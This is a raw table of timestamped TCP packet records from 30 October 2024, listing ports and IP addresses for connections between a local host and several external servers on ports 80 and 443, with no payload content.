Oct 30, 2024 23:11:41.976105928 CET	443	49897	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:41.976140976 CET	443	49897	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:41.976185083 CET	443	49897	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:41.976187944 CET	49897	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:41.976234913 CET	49897	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:41.976494074 CET	49897	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:41.976512909 CET	443	49897	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:41.976524115 CET	49897	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:41.976528883 CET	443	49897	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:41.979074955 CET	49916	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:41.979115009 CET	443	49916	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:41.979195118 CET	49916	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:41.979373932 CET	49916	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:41.979389906 CET	443	49916	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:42.033289909 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.033309937 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.033365011 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.054507017 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.054533958 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.054549932 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.054560900 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.054584980 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.054600954 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.054699898 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.054745913 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.054747105 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.054795027 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.054838896 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.054881096 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.054900885 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.054918051 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.054969072 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.055149078 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.055190086 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.055198908 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.055206060 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.055231094 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.055244923 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.140700102 CET	443	49901	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.140960932 CET	49901	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.140974998 CET	443	49901	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.141325951 CET	443	49901	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.141681910 CET	49901	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.141746044 CET	443	49901	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.141869068 CET	49901	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.151170969 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.151238918 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.151371956 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.172489882 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.172518015 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.172533989 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.172549963 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.172590971 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.172635078 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.172651052 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.172676086 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.172703028 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.172781944 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.172807932 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.172821999 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.172821999 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.172847033 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.172866106 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.173042059 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.173089981 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.173109055 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.173124075 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.173156977 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.173168898 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.183336020 CET	443	49901	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.185822964 CET	49901	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.269231081 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.269258022 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.269300938 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.269309044 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.269350052 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.290309906 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.290384054 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.290400028 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.290402889 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.290431023 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.290437937 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.290513992 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.290530920 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.290549040 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.290563107 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.290576935 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.290595055 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.290709972 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.290736914 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.290746927 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.290771961 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.291182995 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.291234970 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.291276932 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.291290998 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.291306019 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.291338921 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.291338921 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.291352987 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.387012005 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.387029886 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.387069941 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.387098074 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.408338070 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.408355951 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.408370972 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.408397913 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.408401012 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.408427954 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.408451080 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.408467054 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.408483028 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.408505917 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.408524036 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.408580065 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.408596992 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.408648968 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.409075975 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.409091949 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.409106970 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.409116030 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.409136057 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.409162998 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.409302950 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.409316063 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.409353018 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.409368992 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.434880972 CET	443	49901	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.434901953 CET	443	49901	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.434952974 CET	49901	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.434973001 CET	443	49901	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.435152054 CET	443	49901	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.435213089 CET	49901	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.437654018 CET	49901	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.437665939 CET	443	49901	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.438092947 CET	49917	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.438105106 CET	443	49917	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.438209057 CET	49917	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.438738108 CET	49917	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.438751936 CET	443	49917	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.460022926 CET	443	49907	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.466573954 CET	443	49905	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.468483925 CET	49907	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.468502045 CET	443	49907	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.468727112 CET	49905	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.468735933 CET	443	49905	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.469897032 CET	443	49905	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.469965935 CET	49905	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.469980955 CET	443	49907	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.470026970 CET	49907	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.472181082 CET	49907	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.472285032 CET	443	49907	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.472302914 CET	443	49908	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.472577095 CET	49905	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.472659111 CET	443	49905	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.472755909 CET	49908	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.472765923 CET	443	49908	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.472848892 CET	49907	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.472866058 CET	443	49907	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.472964048 CET	49905	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.472970963 CET	443	49905	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.473603964 CET	443	49904	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.473783016 CET	443	49908	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.473834991 CET	49908	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.474150896 CET	49904	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.474168062 CET	443	49904	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.474503040 CET	49908	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.474567890 CET	443	49908	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.474972010 CET	49908	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.474978924 CET	443	49908	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.475281954 CET	443	49904	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.477406979 CET	49904	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.477498055 CET	443	49904	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.477606058 CET	49904	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.479065895 CET	443	49906	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.479341030 CET	49906	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.479346991 CET	443	49906	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.480386972 CET	443	49906	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.480463982 CET	49906	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.480840921 CET	49906	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.480901957 CET	443	49906	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.480964899 CET	49906	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.505070925 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.505085945 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.505124092 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.505148888 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.519341946 CET	443	49904	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.523097038 CET	49904	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.523097038 CET	49906	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.523106098 CET	49908	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.523106098 CET	49907	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.523106098 CET	49905	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.523133039 CET	443	49906	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.523473978 CET	443	49915	23.221.22.201	192.168.2.5
Oct 30, 2024 23:11:42.523684978 CET	443	49913	23.221.22.201	192.168.2.5
Oct 30, 2024 23:11:42.524138927 CET	443	49909	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:42.525156021 CET	49909	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:42.525182962 CET	443	49909	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:42.525719881 CET	49909	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:42.525726080 CET	443	49909	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:42.525909901 CET	49913	443	192.168.2.5	23.221.22.201
Oct 30, 2024 23:11:42.525923014 CET	443	49913	23.221.22.201	192.168.2.5
Oct 30, 2024 23:11:42.526215076 CET	49915	443	192.168.2.5	23.221.22.201
Oct 30, 2024 23:11:42.526222944 CET	443	49915	23.221.22.201	192.168.2.5
Oct 30, 2024 23:11:42.526278973 CET	443	49913	23.221.22.201	192.168.2.5
Oct 30, 2024 23:11:42.526299953 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.526318073 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.526336908 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.526354074 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.526386023 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.526391983 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.526427031 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.526431084 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.526465893 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.526622057 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.526638985 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.526655912 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.526679039 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.526704073 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.526760101 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.526776075 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.526792049 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.526814938 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.526854038 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.527225971 CET	443	49915	23.221.22.201	192.168.2.5
Oct 30, 2024 23:11:42.527275085 CET	49915	443	192.168.2.5	23.221.22.201
Oct 30, 2024 23:11:42.527972937 CET	49913	443	192.168.2.5	23.221.22.201
Oct 30, 2024 23:11:42.528038979 CET	443	49913	23.221.22.201	192.168.2.5
Oct 30, 2024 23:11:42.530332088 CET	49915	443	192.168.2.5	23.221.22.201
Oct 30, 2024 23:11:42.530426025 CET	443	49915	23.221.22.201	192.168.2.5
Oct 30, 2024 23:11:42.532103062 CET	443	49914	23.221.22.201	192.168.2.5
Oct 30, 2024 23:11:42.532310009 CET	49914	443	192.168.2.5	23.221.22.201
Oct 30, 2024 23:11:42.532324076 CET	443	49914	23.221.22.201	192.168.2.5
Oct 30, 2024 23:11:42.532777071 CET	443	49914	23.221.22.201	192.168.2.5
Oct 30, 2024 23:11:42.533143044 CET	49914	443	192.168.2.5	23.221.22.201
Oct 30, 2024 23:11:42.533238888 CET	443	49914	23.221.22.201	192.168.2.5
Oct 30, 2024 23:11:42.536189079 CET	443	49910	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:42.536632061 CET	49910	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:42.536648989 CET	443	49910	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:42.537143946 CET	49910	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:42.537153006 CET	443	49910	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:42.578131914 CET	49914	443	192.168.2.5	23.221.22.201
Oct 30, 2024 23:11:42.578133106 CET	49906	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.578152895 CET	49913	443	192.168.2.5	23.221.22.201
Oct 30, 2024 23:11:42.578152895 CET	49915	443	192.168.2.5	23.221.22.201
Oct 30, 2024 23:11:42.578176022 CET	443	49915	23.221.22.201	192.168.2.5
Oct 30, 2024 23:11:42.601669073 CET	443	49905	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.601691008 CET	443	49905	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.601735115 CET	49905	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.601761103 CET	443	49905	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.601866007 CET	443	49912	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:42.602564096 CET	49912	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:42.602581978 CET	443	49912	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:42.602766991 CET	443	49905	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.602816105 CET	49905	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.603282928 CET	49912	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:42.603288889 CET	443	49912	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:42.603502035 CET	49905	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.603517056 CET	443	49905	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.603873968 CET	49918	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.603888988 CET	443	49918	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.604041100 CET	49918	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.604470015 CET	49918	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.604480982 CET	443	49918	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.613544941 CET	443	49908	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.613579988 CET	443	49908	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.613616943 CET	443	49908	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.613632917 CET	49908	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.613666058 CET	49908	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.613799095 CET	443	49904	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.613835096 CET	443	49904	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.613879919 CET	49904	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.613909960 CET	443	49904	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.613991976 CET	443	49904	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.614028931 CET	49904	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.614644051 CET	49908	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.614653111 CET	443	49908	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.617953062 CET	49904	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.617970943 CET	443	49904	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.622934103 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.622947931 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.623008013 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.623045921 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.625775099 CET	49915	443	192.168.2.5	23.221.22.201
Oct 30, 2024 23:11:42.638401985 CET	443	49907	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.638437033 CET	443	49907	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.638515949 CET	49907	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.638533115 CET	443	49907	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.638673067 CET	443	49907	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.638710976 CET	49907	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.640041113 CET	49907	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.640054941 CET	443	49907	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.644102097 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.644126892 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.644144058 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.644181013 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.644216061 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.644320965 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.644337893 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.644361973 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.644401073 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.661312103 CET	443	49909	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:42.661329031 CET	443	49909	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:42.661377907 CET	443	49909	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:42.661446095 CET	49909	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:42.661675930 CET	49909	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:42.661825895 CET	49909	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:42.661833048 CET	443	49909	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:42.661854029 CET	49909	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:42.661860943 CET	443	49909	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:42.664748907 CET	49919	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:42.664767981 CET	443	49919	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:42.664877892 CET	49919	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:42.665085077 CET	49919	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:42.665100098 CET	443	49919	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:42.670053959 CET	443	49910	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:42.670118093 CET	443	49910	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:42.670231104 CET	49910	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:42.671154022 CET	49910	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:42.671165943 CET	443	49910	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:42.671184063 CET	49910	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:42.671201944 CET	443	49910	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:42.675292015 CET	49920	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:42.675337076 CET	443	49920	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:42.675395012 CET	49920	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:42.675554991 CET	49920	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:42.675570965 CET	443	49920	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:42.706336975 CET	443	49916	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:42.706860065 CET	49916	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:42.706887007 CET	443	49916	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:42.707509041 CET	49916	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:42.707515955 CET	443	49916	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:42.734334946 CET	443	49912	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:42.734486103 CET	443	49912	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:42.734553099 CET	49912	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:42.735435009 CET	49912	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:42.735460043 CET	443	49912	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:42.735471010 CET	49912	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:42.735476017 CET	443	49912	13.107.246.45	192.168.2.5
